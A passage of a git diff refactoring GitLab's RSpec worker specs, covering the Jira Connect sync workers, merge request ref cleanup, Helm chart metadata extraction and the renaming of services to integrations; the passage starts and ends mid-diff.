- expect(instance).to receive(:execute).with(args)
- end
+ expect_next(JiraConnect::SyncService).to receive(:execute).with(args)
end
- it_behaves_like 'an idempotent worker' do
- let(:job_args) { [project_id, branch_name, commit_shas, update_sequence_id] }
+ it 'calls JiraConnect::SyncService#execute' do
+ expect_jira_sync_service_execute(
+ branches: [instance_of(Gitlab::Git::Branch)],
+ commits: project.commits_by(oids: commit_shas),
+ update_sequence_id: update_sequence_id
+ )
- before do
- stub_request(:post, 'https://sample.atlassian.net/rest/devinfo/0.10/bulk').to_return(status: 200, body: '', headers: {})
- end
+ perform
+ end
+
+ context 'without branch name' do
+ let(:branch_name) { nil }
it 'calls JiraConnect::SyncService#execute' do
expect_jira_sync_service_execute(
- branches: [instance_of(Gitlab::Git::Branch)],
+ branches: nil,
commits: project.commits_by(oids: commit_shas),
update_sequence_id: update_sequence_id
)
- subject
- end
-
- context 'without branch name' do
- let(:branch_name) { nil }
-
- it 'calls JiraConnect::SyncService#execute' do
- expect_jira_sync_service_execute(
- branches: nil,
- commits: project.commits_by(oids: commit_shas),
- update_sequence_id: update_sequence_id
- )
-
- subject
- end
+ perform
end
+ end
- context 'without commits' do
- let(:commit_shas) { nil }
+ context 'without commits' do
+ let(:commit_shas) { nil }
- it 'calls JiraConnect::SyncService#execute' do
- expect_jira_sync_service_execute(
- branches: [instance_of(Gitlab::Git::Branch)],
- commits: nil,
- update_sequence_id: update_sequence_id
- )
+ it 'calls JiraConnect::SyncService#execute' do
+ expect_jira_sync_service_execute(
+ branches: [instance_of(Gitlab::Git::Branch)],
+ commits: nil,
+ update_sequence_id: update_sequence_id
+ )
- subject
- end
+ perform
end
+ end
- context 'when project no longer exists' do
- let(:project_id) { non_existing_record_id }
+ context 'when project no longer exists' do
+ let(:project_id) { non_existing_record_id }
- it 'does not call JiraConnect::SyncService' do
- expect(JiraConnect::SyncService).not_to receive(:new)
+ it 'does not call JiraConnect::SyncService' do
+ expect(JiraConnect::SyncService).not_to receive(:new)
- subject
- end
+ perform
end
end
end
diff --git a/spec/workers/jira_connect/sync_builds_worker_spec.rb b/spec/workers/jira_connect/sync_builds_worker_spec.rb
index 8fb8692fdf7..9be0cccae2b 100644
--- a/spec/workers/jira_connect/sync_builds_worker_spec.rb
+++ b/spec/workers/jira_connect/sync_builds_worker_spec.rb
@@ -4,7 +4,10 @@ require 'spec_helper'
RSpec.describe ::JiraConnect::SyncBuildsWorker do
include AfterNextHelpers
- include ServicesHelper
+
+ it_behaves_like 'worker with data consistency',
+ described_class,
+ data_consistency: :delayed
describe '#perform' do
let_it_be(:pipeline) { create(:ci_pipeline) }
diff --git a/spec/workers/jira_connect/sync_deployments_worker_spec.rb b/spec/workers/jira_connect/sync_deployments_worker_spec.rb
index 16fa2643d04..86ba11ebe9c 100644
--- a/spec/workers/jira_connect/sync_deployments_worker_spec.rb
+++ b/spec/workers/jira_connect/sync_deployments_worker_spec.rb
@@ -4,7 +4,10 @@ require 'spec_helper'
RSpec.describe ::JiraConnect::SyncDeploymentsWorker do
include AfterNextHelpers
- include ServicesHelper
+
+ it_behaves_like 'worker with data consistency',
+ described_class,
+ data_consistency: :delayed
describe '#perform' do
let_it_be(:deployment) { create(:deployment) }
diff --git a/spec/workers/jira_connect/sync_feature_flags_worker_spec.rb b/spec/workers/jira_connect/sync_feature_flags_worker_spec.rb
index 038eed7b9f1..6763aefcbec 100644
--- a/spec/workers/jira_connect/sync_feature_flags_worker_spec.rb
+++ b/spec/workers/jira_connect/sync_feature_flags_worker_spec.rb
@@ -4,7 +4,10 @@ require 'spec_helper'
RSpec.describe ::JiraConnect::SyncFeatureFlagsWorker do
include AfterNextHelpers
- include ServicesHelper
+
+ it_behaves_like 'worker with data consistency',
+ described_class,
+ data_consistency: :delayed
describe '#perform' do
let_it_be(:feature_flag) { create(:operations_feature_flag) }
diff --git a/spec/workers/jira_connect/sync_merge_request_worker_spec.rb b/spec/workers/jira_connect/sync_merge_request_worker_spec.rb
index 6a0a0744f6f..65976566b22 100644
--- a/spec/workers/jira_connect/sync_merge_request_worker_spec.rb
+++ b/spec/workers/jira_connect/sync_merge_request_worker_spec.rb
@@ -5,6 +5,10 @@ require 'spec_helper'
RSpec.describe JiraConnect::SyncMergeRequestWorker do
include AfterNextHelpers
+ it_behaves_like 'worker with data consistency',
+ described_class,
+ data_consistency: :delayed
+
describe '#perform' do
let_it_be(:group) { create(:group) }
let_it_be(:project) { create(:project, :repository, group: group) }
@@ -14,29 +18,24 @@ RSpec.describe JiraConnect::SyncMergeRequestWorker do
let(:merge_request_id) { merge_request.id }
let(:update_sequence_id) { 1 }
- it_behaves_like 'an idempotent worker' do
- let(:job_args) { [merge_request_id, update_sequence_id] }
-
- before do
- stub_request(:post, 'https://sample.atlassian.net/rest/devinfo/0.10/bulk').to_return(status: 200, body: '', headers: {})
- end
+ def perform
+ described_class.new.perform(merge_request_id, update_sequence_id)
+ end
- it 'calls JiraConnect::SyncService#execute' do
- expect_next_instances_of(JiraConnect::SyncService, IdempotentWorkerHelper::WORKER_EXEC_TIMES) do |service|
- expect(service).to receive(:execute).with(merge_requests: [merge_request], update_sequence_id: update_sequence_id)
- end
+ it 'calls JiraConnect::SyncService#execute' do
+ expect_next(JiraConnect::SyncService).to receive(:execute)
+ .with(merge_requests: [merge_request], update_sequence_id: update_sequence_id)
- subject
- end
+ perform
+ end
- context 'when MR no longer exists' do
- let(:merge_request_id) { non_existing_record_id }
+ context 'when MR no longer exists' do
+ let(:merge_request_id) { non_existing_record_id }
- it 'does not call JiraConnect::SyncService' do
- expect(JiraConnect::SyncService).not_to receive(:new)
+ it 'does not call JiraConnect::SyncService' do
+ expect(JiraConnect::SyncService).not_to receive(:new)
- subject
- end
+ perform
end
end
end
diff --git a/spec/workers/jira_connect/sync_project_worker_spec.rb b/spec/workers/jira_connect/sync_project_worker_spec.rb
index 5c0e7e7609c..d172bde2400 100644
--- a/spec/workers/jira_connect/sync_project_worker_spec.rb
+++ b/spec/workers/jira_connect/sync_project_worker_spec.rb
@@ -3,6 +3,12 @@
require 'spec_helper'
RSpec.describe JiraConnect::SyncProjectWorker, factory_default: :keep do
+ include AfterNextHelpers
+
+ it_behaves_like 'worker with data consistency',
+ described_class,
+ data_consistency: :delayed
+
describe '#perform' do
let_it_be(:project) { create_default(:project).freeze }
@@ -14,6 +20,22 @@ RSpec.describe JiraConnect::SyncProjectWorker, factory_default: :keep do
let(:jira_connect_sync_service) { JiraConnect::SyncService.new(project) }
let(:job_args) { [project.id, update_sequence_id] }
let(:update_sequence_id) { 1 }
+ let(:request_path) { '/rest/devinfo/0.10/bulk' }
+ let(:request_body) do
+ {
+ repositories: [
+ Atlassian::JiraConnect::Serializers::RepositoryEntity.represent(
+ project,
+ merge_requests: [mr_with_jira_description, mr_with_jira_title],
+ update_sequence_id: update_sequence_id
+ )
+ ]
+ }
+ end
+
+ def perform(project_id, update_sequence_id)
+ described_class.new.perform(project_id, update_sequence_id)
+ end
before do
stub_request(:post, 'https://sample.atlassian.net/rest/devinfo/0.10/bulk').to_return(status: 200, body: '', headers: {})
@@ -24,54 +46,37 @@ RSpec.describe JiraConnect::SyncProjectWorker, factory_default: :keep do
context 'when the project is not found' do
it 'does not raise an error' do
- expect { described_class.new.perform('non_existing_record_id', update_sequence_id) }.not_to raise_error
+ expect { perform('non_existing_record_id', update_sequence_id) }.not_to raise_error
end
end
it 'avoids N+1 database queries' do
- control_count = ActiveRecord::QueryRecorder.new { described_class.new.perform(project.id, update_sequence_id) }.count
+ control_count = ActiveRecord::QueryRecorder.new { perform(project.id, update_sequence_id) }.count
create(:merge_request, :unique_branches, title: 'TEST-123')
- expect { described_class.new.perform(project.id, update_sequence_id) }.not_to exceed_query_limit(control_count)
+ expect { perform(project.id, update_sequence_id) }.not_to exceed_query_limit(control_count)
end
- it_behaves_like 'an idempotent worker' do
- let(:request_path) { '/rest/devinfo/0.10/bulk' }
- let(:request_body) do
- {
- repositories: [
- Atlassian::JiraConnect::Serializers::RepositoryEntity.represent(
- project,
- merge_requests: [mr_with_jira_description, mr_with_jira_title],
- update_sequence_id: update_sequence_id
- )
- ]
- }
- end
-
- it 'sends the request with custom update_sequence_id' do
- allow_next_instances_of(Atlassian::JiraConnect::Client, IdempotentWorkerHelper::WORKER_EXEC_TIMES) do |client|
- expect(client).to receive(:post).with(request_path, request_body)
- end
+ it 'sends the request with custom update_sequence_id' do
+ allow_next(Atlassian::JiraConnect::Client).to receive(:post)
+ .with(request_path, request_body)
- subject
- end
+ perform(project.id, update_sequence_id)
+ end
- context 'when the number of merge requests to sync is higher than the limit' do
- let!(:most_recent_merge_request) { create(:merge_request, :unique_branches, description: 'TEST-323', title: 'TEST-123') }
+ context 'when the number of merge requests to sync is higher than the limit' do
+ let!(:most_recent_merge_request) { create(:merge_request, :unique_branches, description: 'TEST-323', title: 'TEST-123') }
- before do
- stub_const("#{described_class}::MERGE_REQUEST_LIMIT", 1)
- end
+ before do
+ stub_const("#{described_class}::MERGE_REQUEST_LIMIT", 1)
+ end
- it 'syncs only the most recent merge requests within the limit' do
- expect(jira_connect_sync_service).to receive(:execute)
- .exactly(IdempotentWorkerHelper::WORKER_EXEC_TIMES).times
- .with(merge_requests: [most_recent_merge_request], update_sequence_id: update_sequence_id)
+ it 'syncs only the most recent merge requests within the limit' do
+ expect(jira_connect_sync_service).to receive(:execute)
+ .with(merge_requests: [most_recent_merge_request], update_sequence_id: update_sequence_id)
- subject
- end
+ perform(project.id, update_sequence_id)
end
end
end
diff --git a/spec/workers/merge_request_cleanup_refs_worker_spec.rb b/spec/workers/merge_request_cleanup_refs_worker_spec.rb
index 7401c6dd4d7..1de927a81e4 100644
--- a/spec/workers/merge_request_cleanup_refs_worker_spec.rb
+++ b/spec/workers/merge_request_cleanup_refs_worker_spec.rb
@@ -3,18 +3,41 @@
require 'spec_helper'
RSpec.describe MergeRequestCleanupRefsWorker do
- describe '#perform' do
- context 'when merge request exists' do
- let(:merge_request) { create(:merge_request) }
- let(:job_args) { merge_request.id }
-
- include_examples 'an idempotent worker' do
- it 'calls MergeRequests::CleanupRefsService#execute' do
- expect_next_instance_of(MergeRequests::CleanupRefsService, merge_request) do |svc|
- expect(svc).to receive(:execute).and_call_original
- end.twice
-
- subject
+ let(:worker) { described_class.new }
+
+ describe '#perform_work' do
+ context 'when next cleanup schedule is found' do
+ let(:failed_count) { 0 }
+ let!(:cleanup_schedule) { create(:merge_request_cleanup_schedule, failed_count: failed_count) }
+
+ it 'marks the cleanup schedule as completed on success' do
+ stub_cleanup_service(status: :success)
+ worker.perform_work
+
+ expect(cleanup_schedule.reload).to be_completed
+ expect(cleanup_schedule.completed_at).to be_present
+ end
+
+ context 'when service fails' do
+ before do
+ stub_cleanup_service(status: :error)
+ worker.perform_work
+ end
+
+ it 'marks the cleanup schedule as unstarted and track the failure' do
+ expect(cleanup_schedule.reload).to be_unstarted
+ expect(cleanup_schedule.failed_count).to eq(1)
+ expect(cleanup_schedule.completed_at).to be_nil
+ end
+
+ context "and cleanup schedule has already failed #{described_class::FAILURE_THRESHOLD} times" do
+ let(:failed_count) { described_class::FAILURE_THRESHOLD }
+
+ it 'marks the cleanup schedule as failed and track the failure' do
+ expect(cleanup_schedule.reload).to be_failed
+ expect(cleanup_schedule.failed_count).to eq(described_class::FAILURE_THRESHOLD + 1)
+ expect(cleanup_schedule.completed_at).to be_nil
+ end
end
end
@@ -23,20 +46,52 @@ RSpec.describe MergeRequestCleanupRefsWorker do
stub_feature_flags(merge_request_refs_cleanup: false)
end
- it 'does not clean up the merge request' do
+ it 'does nothing' do
expect(MergeRequests::CleanupRefsService).not_to receive(:new)
- perform_multiple(1)
+ worker.perform_work
end
end
end
- context 'when merge request does not exist' do
- it 'does not call MergeRequests::CleanupRefsService' do
+ context 'when there is no next cleanup schedule found' do
+ it 'does nothing' do
expect(MergeRequests::CleanupRefsService).not_to receive(:new)
- perform_multiple(1)
+ worker.perform_work
+ end
+ end
+ end
+
+ describe '#remaining_work_count' do
+ let_it_be(:unstarted) { create_list(:merge_request_cleanup_schedule, 2) }
+ let_it_be(:running) { create_list(:merge_request_cleanup_schedule, 2, :running) }
+ let_it_be(:completed) { create_list(:merge_request_cleanup_schedule, 2, :completed) }
+
+ it 'returns number of scheduled and unstarted cleanup schedule records' do
+ expect(worker.remaining_work_count).to eq(unstarted.count)
+ end
+
+ context 'when count exceeds max_running_jobs' do
+ before do
+ create_list(:merge_request_cleanup_schedule, worker.max_running_jobs)
+ end
+
+ it 'gets capped at max_running_jobs' do
+ expect(worker.remaining_work_count).to eq(worker.max_running_jobs)
end
end
end
+
+ describe '#max_running_jobs' do
+ it 'returns the value of MAX_RUNNING_JOBS' do
+ expect(worker.max_running_jobs).to eq(described_class::MAX_RUNNING_JOBS)
+ end
+ end
+
+ def stub_cleanup_service(result)
+ expect_next_instance_of(MergeRequests::CleanupRefsService, cleanup_schedule.merge_request) do |svc|
+ expect(svc).to receive(:execute).and_return(result)
+ end
+ end
end
diff --git a/spec/workers/namespaces/in_product_marketing_emails_worker_spec.rb b/spec/workers/namespaces/in_product_marketing_emails_worker_spec.rb
index 3b94eb0d1be..2e7b6356692 100644
--- a/spec/workers/namespaces/in_product_marketing_emails_worker_spec.rb
+++ b/spec/workers/namespaces/in_product_marketing_emails_worker_spec.rb
@@ -2,38 +2,31 @@
require 'spec_helper'
-RSpec.describe Namespaces::InProductMarketingEmailsWorker, '#perform' do
- using RSpec::Parameterized::TableSyntax
-
+RSpec.describe Namespaces::InProductMarketingEmailsWorker, '#perform', unless: Gitlab.ee? do
# Running this in EE would call the overridden method, which can't be tested in CE.
# The EE code is covered in a separate EE spec.
- context 'not on gitlab.com', unless: Gitlab.ee? do
- let(:is_gitlab_com) { false }
-
- where(:in_product_marketing_emails_enabled, :experiment_active, :executes_service) do
- true | true | 1
- true | false | 1
- false | false | 0
- false | true | 0
+
+ context 'when the in_product_marketing_emails_enabled setting is disabled' do
+ before do
+ stub_application_setting(in_product_marketing_emails_enabled: false)
end
- with_them do
- it_behaves_like 'in-product marketing email'
+ it 'does not execute the email service' do
+ expect(Namespaces::InProductMarketingEmailsService).not_to receive(:send_for_all_tracks_and_intervals)
+
+ subject.perform
end
end
- context 'on gitlab.com' do
- let(:is_gitlab_com) { true }
-
- where(:in_product_marketing_emails_enabled, :experiment_active, :executes_service) do
- true | true | 1
- true | false | 0
- false | false | 0
- false | true | 0
+ context 'when the in_product_marketing_emails_enabled setting is enabled' do
+ before do
+ stub_application_setting(in_product_marketing_emails_enabled: true)
end
- with_them do
- it_behaves_like 'in-product marketing email'
+ it 'executes the email service' do
+ expect(Namespaces::InProductMarketingEmailsService).to receive(:send_for_all_tracks_and_intervals)
+
+ subject.perform
end
end
end
diff --git a/spec/workers/packages/helm/extraction_worker_spec.rb b/spec/workers/packages/helm/extraction_worker_spec.rb
new file mode 100644
index 00000000000..258413a3410
--- /dev/null
+++ b/spec/workers/packages/helm/extraction_worker_spec.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Packages::Helm::ExtractionWorker, type: :worker do
+ describe '#perform' do
+ let_it_be(:package) { create(:helm_package, without_package_files: true, status: 'processing')}
+
+ let!(:package_file) { create(:helm_package_file, without_loaded_metadatum: true, package: package) }
+ let(:package_file_id) { package_file.id }
+ let(:channel) { 'stable' }
+
+ let(:expected_metadata) do
+ {
+ 'apiVersion' => 'v2',
+ 'description' => 'File, Block, and Object Storage Services for your Cloud-Native Environment',
+ 'icon' => 'https://rook.io/images/rook-logo.svg',
+ 'name' => 'rook-ceph',
+ 'sources' => ['https://github.com/rook/rook'],
+ 'version' => 'v1.5.8'
+ }
+ end
+
+ subject { described_class.new.perform(channel, package_file_id) }
+
+ shared_examples 'handling error' do
+ it 'mark the package as errored', :aggregate_failures do
+ expect(Gitlab::ErrorTracking).to receive(:log_exception).with(
+ instance_of(Packages::Helm::ExtractFileMetadataService::ExtractionError),
+ project_id: package_file.package.project_id
+ )
+ expect { subject }
+ .to not_change { Packages::Package.count }
+ .and not_change { Packages::PackageFile.count }
+ .and change { package.reload.status }.from('processing').to('error')
+ end
+ end
+
+ context 'with valid package file' do
+ it_behaves_like 'an idempotent worker' do
+ let(:job_args) { [channel, package_file_id] }
+
+ it 'updates package and package file', :aggregate_failures do
+ expect(Gitlab::ErrorTracking).not_to receive(:log_exception)
+
+ expect { subject }
+ .to not_change { Packages::Package.count }
+ .and not_change { Packages::PackageFile.count }
+ .and change { Packages::Helm::FileMetadatum.count }.from(0).to(1)
+ .and change { package.reload.status }.from('processing').to('default')
+
+ helm_file_metadatum = package_file.helm_file_metadatum
+
+ expect(helm_file_metadatum.channel).to eq(channel)
+ expect(helm_file_metadatum.metadata).to eq(expected_metadata)
+ end
+ end
+ end
+
+ context 'with invalid package file id' do
+ let(:package_file_id) { 5555 }
+
+ it "doesn't update helm_file_metadatum", :aggregate_failures do
+ expect { subject }
+ .to not_change { Packages::Package.count }
+ .and not_change { Packages::PackageFile.count }
+ .and not_change { Packages::Helm::FileMetadatum.count }
+ .and not_change { package.reload.status }
+ end
+ end
+
+ context 'with an empty package file' do
+ before do
+ expect_next_instance_of(Gem::Package::TarReader) do |tar_reader|
+ expect(tar_reader).to receive(:each).and_return([])
+ end
+ end
+
+ it_behaves_like 'handling error'
+ end
+
+ context 'with an invalid YAML' do
+ before do
+ expect_next_instance_of(Gem::Package::TarReader::Entry) do |entry|
+ expect(entry).to receive(:read).and_return('{')
+ end
+ end
+
+ it_behaves_like 'handling error'
+ end
+ end
+end
diff --git a/spec/workers/partition_creation_worker_spec.rb b/spec/workers/partition_creation_worker_spec.rb
index 37225cc1f79..5d15870b7f6 100644
--- a/spec/workers/partition_creation_worker_spec.rb
+++ b/spec/workers/partition_creation_worker_spec.rb
@@ -1,27 +1,16 @@
# frozen_string_literal: true
-
-require "spec_helper"
+#
+require 'spec_helper'
RSpec.describe PartitionCreationWorker do
- describe '#perform' do
- subject { described_class.new.perform }
-
- let(:creator) { instance_double('PartitionCreator', create_partitions: nil) }
- let(:monitoring) { instance_double('PartitionMonitoring', report_metrics: nil) }
-
- before do
- allow(Gitlab::Database::Partitioning::PartitionCreator).to receive(:new).and_return(creator)
- allow(Gitlab::Database::Partitioning::PartitionMonitoring).to receive(:new).and_return(monitoring)
- end
+ subject { described_class.new.perform }
- it 'delegates to PartitionCreator' do
- expect(creator).to receive(:create_partitions)
+ let(:management_worker) { double }
- subject
- end
-
- it 'reports partition metrics' do
- expect(monitoring).to receive(:report_metrics)
+ describe '#perform' do
+ it 'forwards to the Database::PartitionManagementWorker' do
+ expect(Database::PartitionManagementWorker).to receive(:new).and_return(management_worker)
+ expect(management_worker).to receive(:perform)
subject
end
diff --git a/spec/workers/pipeline_hooks_worker_spec.rb b/spec/workers/pipeline_hooks_worker_spec.rb
index 5957b355c8e..0ed00c0c66a 100644
--- a/spec/workers/pipeline_hooks_worker_spec.rb
+++ b/spec/workers/pipeline_hooks_worker_spec.rb
@@ -25,6 +25,5 @@ RSpec.describe PipelineHooksWorker do
it_behaves_like 'worker with data consistency',
described_class,
- feature_flag: :load_balancing_for_pipeline_hooks_worker,
data_consistency: :delayed
end
diff --git a/spec/workers/post_receive_spec.rb b/spec/workers/post_receive_spec.rb
index 4d3cc447d9b..04a38874905 100644
--- a/spec/workers/post_receive_spec.rb
+++ b/spec/workers/post_receive_spec.rb
@@ -4,7 +4,6 @@ require 'spec_helper'
RSpec.describe PostReceive do
include AfterNextHelpers
- include ServicesHelper
let(:changes) { "123456 789012 refs/heads/tést\n654321 210987 refs/tags/tag" }
let(:wrongly_encoded_changes) { changes.encode("ISO-8859-1").force_encoding("UTF-8") }
@@ -234,7 +233,7 @@ RSpec.describe PostReceive do
end
it 'calls Git::ProcessRefChangesService' do
- expect_execution_of(Git::ProcessRefChangesService)
+ expect(Git::ProcessRefChangesService).to get_executed
perform
end
@@ -269,7 +268,7 @@ RSpec.describe PostReceive do
allow(Gitlab::DataBuilder::Repository).to receive(:update).and_return(fake_hook_data)
# silence hooks so we can isolate
allow_next(Key).to receive(:post_create_hook).and_return(true)
- expect_execution_of(Git::ProcessRefChangesService)
+ expect(Git::ProcessRefChangesService).to get_executed
end
it 'calls SystemHooksService' do
@@ -379,7 +378,7 @@ RSpec.describe PostReceive do
allow(Project).to receive(:find_by).and_return(project)
expect(project).to receive(:execute_hooks).twice
- expect(project).to receive(:execute_services).twice
+ expect(project).to receive(:execute_integrations).twice
perform
end
diff --git a/spec/workers/project_service_worker_spec.rb b/spec/workers/project_service_worker_spec.rb
index 9383e7ec5c4..7813d011274 100644
--- a/spec/workers/project_service_worker_spec.rb
+++ b/spec/workers/project_service_worker_spec.rb
@@ -3,22 +3,24 @@ require 'spec_helper'
RSpec.describe ProjectServiceWorker, '#perform' do
let(:worker) { described_class.new }
- let(:service) { Integrations::Jira.new }
+ let(:integration) { Integrations::Jira.new }
before do
- allow(Integration).to receive(:find).and_return(service)
+ allow(Integration).to receive(:find).and_return(integration)
end
- it 'executes service with given data' do
+ it 'executes integration with given data' do
data = { test: 'test' }
- expect(service).to receive(:execute).with(data)
+ expect(integration).to receive(:execute).with(data)
worker.perform(1, data)
end
it 'logs error messages' do
- allow(service).to receive(:execute).and_raise(StandardError, 'invalid URL')
- expect(Sidekiq.logger).to receive(:error).with({ class: described_class.name, service_class: service.class.name, message: "invalid URL" })
+ error = StandardError.new('invalid URL')
+ allow(integration).to receive(:execute).and_raise(error)
+
+ expect(Gitlab::ErrorTracking).to receive(:log_exception).with(error, integration_class: 'Integrations::Jira')
worker.perform(1, {})
end
diff --git a/spec/workers/projects/post_creation_worker_spec.rb b/spec/workers/projects/post_creation_worker_spec.rb
index 50c21575878..06acf601666 100644
--- a/spec/workers/projects/post_creation_worker_spec.rb
+++ b/spec/workers/projects/post_creation_worker_spec.rb
@@ -13,16 +13,16 @@ RSpec.describe Projects::PostCreationWorker do
it_behaves_like 'an idempotent worker' do
let(:job_args) { [project.id] }
- describe 'Prometheus service' do
+ describe 'Prometheus integration' do
context 'project is nil' do
let(:job_args) { [nil] }
- it 'does not create prometheus service' do
+ it 'does not create prometheus integration' do
expect { subject }.not_to change { Integration.count }
end
end
- context 'when project has access to shared service' do
+ context 'when project has access to shared integration' do
context 'Prometheus application is shared via group cluster' do
let(:project) { create(:project, group: group) }
let(:cluster) { create(:cluster, :group, groups: [group]) }
@@ -36,13 +36,13 @@ RSpec.describe Projects::PostCreationWorker do
create(:clusters_integrations_prometheus, cluster: cluster)
end
- it 'creates PrometheusService record', :aggregate_failures do
+ it 'creates an Integrations::Prometheus record', :aggregate_failures do
subject
- service = project.prometheus_service
- expect(service.active).to be true
- expect(service.manual_configuration?).to be false
- expect(service.persisted?).to be true
+ integration = project.prometheus_integration
+ expect(integration.active).to be true
+ expect(integration.manual_configuration?).to be false
+ expect(integration.persisted?).to be true
end
end
@@ -53,31 +53,31 @@ RSpec.describe Projects::PostCreationWorker do
create(:clusters_integrations_prometheus, cluster: cluster)
end
- it 'creates PrometheusService record', :aggregate_failures do
+ it 'creates an Integrations::Prometheus record', :aggregate_failures do
subject
- service = project.prometheus_service
- expect(service.active).to be true
- expect(service.manual_configuration?).to be false
- expect(service.persisted?).to be true
+ integration = project.prometheus_integration
+ expect(integration.active).to be true
+ expect(integration.manual_configuration?).to be false
+ expect(integration.persisted?).to be true
end
it 'cleans invalid record and logs warning', :aggregate_failures do
- invalid_service_record = build(:prometheus_service, properties: { api_url: nil, manual_configuration: true }.to_json)
- allow(PrometheusService).to receive(:new).and_return(invalid_service_record)
+ invalid_integration_record = build(:prometheus_integration, properties: { api_url: nil, manual_configuration: true }.to_json)
+ allow(::Integrations::Prometheus).to receive(:new).and_return(invalid_integration_record)
expect(Gitlab::ErrorTracking).to receive(:track_exception).with(an_instance_of(ActiveRecord::RecordInvalid), include(extra: { project_id: a_kind_of(Integer) })).twice
subject
- expect(project.prometheus_service).to be_nil
+ expect(project.prometheus_integration).to be_nil
end
end
context 'shared Prometheus application is not available' do
- it 'does not persist PrometheusService record', :aggregate_failures do
+ it 'does not persist an Integrations::Prometheus record' do
subject
- expect(project.prometheus_service).to be_nil
+ expect(project.prometheus_integration).to be_nil
end
end
end
diff --git a/spec/workers/propagate_integration_group_worker_spec.rb b/spec/workers/propagate_integration_group_worker_spec.rb
index 1c72bed323a..9d46534df4f 100644
--- a/spec/workers/propagate_integration_group_worker_spec.rb
+++ b/spec/workers/propagate_integration_group_worker_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe PropagateIntegrationGroupWorker do
let_it_be(:another_group) { create(:group) }
let_it_be(:subgroup1) { create(:group, parent: group) }
let_it_be(:subgroup2) { create(:group, parent: group) }
- let_it_be(:integration) { create(:redmine_service, :instance) }
+ let_it_be(:integration) { create(:redmine_integration, :instance) }
let(:job_args) { [integration.id, group.id, subgroup2.id] }
@@ -22,7 +22,7 @@ RSpec.describe PropagateIntegrationGroupWorker do
end
context 'with a group integration' do
- let_it_be(:integration) { create(:redmine_service, group: group, project: nil) }
+ let_it_be(:integration) { create(:redmine_integration, group: group, project: nil) }
it 'calls to BulkCreateIntegrationService' do
expect(BulkCreateIntegrationService).to receive(:new)
diff --git a/spec/workers/propagate_integration_inherit_descendant_worker_spec.rb b/spec/workers/propagate_integration_inherit_descendant_worker_spec.rb
index b5eb0f69017..8a231d4104c 100644
--- a/spec/workers/propagate_integration_inherit_descendant_worker_spec.rb
+++ b/spec/workers/propagate_integration_inherit_descendant_worker_spec.rb
@@ -5,8 +5,8 @@ require 'spec_helper'
RSpec.describe PropagateIntegrationInheritDescendantWorker do
let_it_be(:group) { create(:group) }
let_it_be(:subgroup) { create(:group, parent: group) }
- let_it_be(:group_integration) { create(:redmine_service, group: group, project: nil) }
- let_it_be(:subgroup_integration) { create(:redmine_service, group: subgroup, project: nil, inherit_from_id: group_integration.id) }
+ let_it_be(:group_integration) { create(:redmine_integration, group: group, project: nil) }
+ let_it_be(:subgroup_integration) { create(:redmine_integration, group: subgroup, project: nil, inherit_from_id: group_integration.id) }
it_behaves_like 'an idempotent worker' do
let(:job_args) { [group_integration.id, subgroup_integration.id, subgroup_integration.id] }
diff --git a/spec/workers/propagate_integration_inherit_worker_spec.rb b/spec/workers/propagate_integration_inherit_worker_spec.rb
index 2b4f241f755..dd5d246d7f9 100644
--- a/spec/workers/propagate_integration_inherit_worker_spec.rb
+++ b/spec/workers/propagate_integration_inherit_worker_spec.rb
@@ -4,10 +4,10 @@ require 'spec_helper'
RSpec.describe PropagateIntegrationInheritWorker do
describe '#perform' do
- let_it_be(:integration) { create(:redmine_service, :instance) }
- let_it_be(:integration1) { create(:redmine_service, inherit_from_id: integration.id) }
+ let_it_be(:integration) { create(:redmine_integration, :instance) }
+ let_it_be(:integration1) { create(:redmine_integration, inherit_from_id: integration.id) }
let_it_be(:integration2) { create(:bugzilla_integration, inherit_from_id: integration.id) }
- let_it_be(:integration3) { create(:redmine_service) }
+ let_it_be(:integration3) { create(:redmine_integration) }
it_behaves_like 'an idempotent worker' do
let(:job_args) { [integration.id, integration1.id, integration3.id] }
diff --git a/spec/workers/propagate_integration_project_worker_spec.rb b/spec/workers/propagate_integration_project_worker_spec.rb
index c8293744bec..312631252cc 100644
--- a/spec/workers/propagate_integration_project_worker_spec.rb
+++ b/spec/workers/propagate_integration_project_worker_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe PropagateIntegrationProjectWorker do
let_it_be(:project1) { create(:project) }
let_it_be(:project2) { create(:project, group: group) }
let_it_be(:project3) { create(:project, group: group) }
- let_it_be(:integration) { create(:redmine_service, :instance) }
+ let_it_be(:integration) { create(:redmine_integration, :instance) }
let(:job_args) { [integration.id, project1.id, project3.id] }
@@ -22,7 +22,7 @@ RSpec.describe PropagateIntegrationProjectWorker do
end
context 'with a group integration' do
- let_it_be(:integration) { create(:redmine_service, group: group, project: nil) }
+ let_it_be(:integration) { create(:redmine_integration, group: group, project: nil) }
it 'calls to BulkCreateIntegrationService' do
expect(BulkCreateIntegrationService).to receive(:new)
diff --git a/spec/workers/remove_expired_group_links_worker_spec.rb b/spec/workers/remove_expired_group_links_worker_spec.rb
index ff5f7b9db27..151bbb75226 100644
--- a/spec/workers/remove_expired_group_links_worker_spec.rb
+++ b/spec/workers/remove_expired_group_links_worker_spec.rb
@@ -51,7 +51,7 @@ RSpec.describe RemoveExpiredGroupLinksWorker do
subject.perform
end
- it 'removes project authorization' do
+ it 'removes project authorization', :sidekiq_inline do
shared_group = group_group_link.shared_group
shared_with_group = group_group_link.shared_with_group
project = create(:project, group: shared_group)
diff --git a/spec/workers/schedule_merge_request_cleanup_refs_worker_spec.rb b/spec/workers/schedule_merge_request_cleanup_refs_worker_spec.rb
index 869818b257e..ef515e43474 100644
--- a/spec/workers/schedule_merge_request_cleanup_refs_worker_spec.rb
+++ b/spec/workers/schedule_merge_request_cleanup_refs_worker_spec.rb
@@ -6,16 +6,9 @@ RSpec.describe ScheduleMergeRequestCleanupRefsWorker do
subject(:worker) { described_class.new }
describe '#perform' do
- before do
- allow(MergeRequest::CleanupSchedule)
- .to receive(:scheduled_merge_request_ids)
- .with(described_class::LIMIT)
- .and_return([1, 2, 3, 4])
- end
-
it 'does nothing if the database is read-only' do
allow(Gitlab::Database).to receive(:read_only?).and_return(true)
- expect(MergeRequestCleanupRefsWorker).not_to receive(:bulk_perform_in)
+ expect(MergeRequestCleanupRefsWorker).not_to receive(:perform_with_capacity)
worker.perform
end
@@ -26,25 +19,17 @@ RSpec.describe ScheduleMergeRequestCleanupRefsWorker do
end
it 'does not schedule any merge request clean ups' do
